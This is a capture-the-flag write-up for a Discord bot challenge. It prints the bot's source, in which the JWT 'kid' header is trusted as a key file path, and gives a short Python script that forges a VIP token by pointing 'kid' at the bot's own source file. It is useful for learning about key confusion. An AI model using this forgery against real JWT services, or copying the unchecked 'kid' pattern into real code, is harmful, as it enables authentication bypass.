BatBot (web-misc)

We are presented with a discord bot running on a Python script as shown below:

import discord
from discord.ext import commands
import jwt
import os

intents = discord.Intents.all()
bot = commands.Bot(command_prefix="!", intents=intents)

BOT_TOKEN = os.getenv('TOKEN')
SECRET_KEY_FILE_PATH = 'secret.txt'
FLAG_FILE_PATH = 'flag.txt'

with open(FLAG_FILE_PATH, 'r') as file:
    flag = file.read().strip()

bot.remove_command('help')

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')

@bot.command(name='help')
async def custom_help(ctx):
    help_message = """
    *Help Command*:```
 !help (Shows this message)
 !verify token  (Authenticate with a JWT token)
 !generate (Generate a JWT Token for you)```
    """
    await ctx.send(help_message)

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

@bot.command(name='generate')
async def generate_token(ctx, *, username=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        elif not username:
            await ctx.send("Please provide a username.")
        else:
            with open(SECRET_KEY_FILE_PATH, 'r') as file:
                secret_key = file.read().strip()
            headers = {
                'kid': SECRET_KEY_FILE_PATH
            }
            token = jwt.encode({'username': username,'role' : 'user'}, secret_key, algorithm='HS256',headers=headers)
            await ctx.send(f'The generated JWT token for {username} is: {token}')
    except:
        await ctx.send('Failed to generate token.')



bot.run(BOT_TOKEN)

The bot generates JSON web tokens, and uses it to verify registered users. By default, all newly registered users are given the role user. The username and role are saved into the JSON web token.

Notice that if our token is verified and our role is VIP, we can obtain the flag.

If we look at the verify_token function, it takes the kid header from our JSON web token, and uses that as a filename which the secret_key should be in. The secret_key is used to decode the JSON web token, and from there the username and role fields are extracted.

During token generation, kid is set to SECRET_KEY_FILE_PATH so we do not know the secret_key. However, we can change the key file to another file which is shared by us and the remote server. This would be the source code file, of course! If we set kid to be bot.py, we would share the same secret_key with the server. With the shared secret key, we can then forge a JSON web token to have a previously-registered username but with the VIP role.

I wrote the following code to generate such a token:

import jwt
import os
SECRET_KEY_FILE_PATH = "bot.py"
with open(SECRET_KEY_FILE_PATH, 'r') as file:
    secret_key = file.read().strip()
headers = {
    'kid': SECRET_KEY_FILE_PATH
}
token = jwt.encode({'username': 'elijah5399','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
print(token)
decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
print(decoded_token)

With this forged token, we can then get the flag from the bot: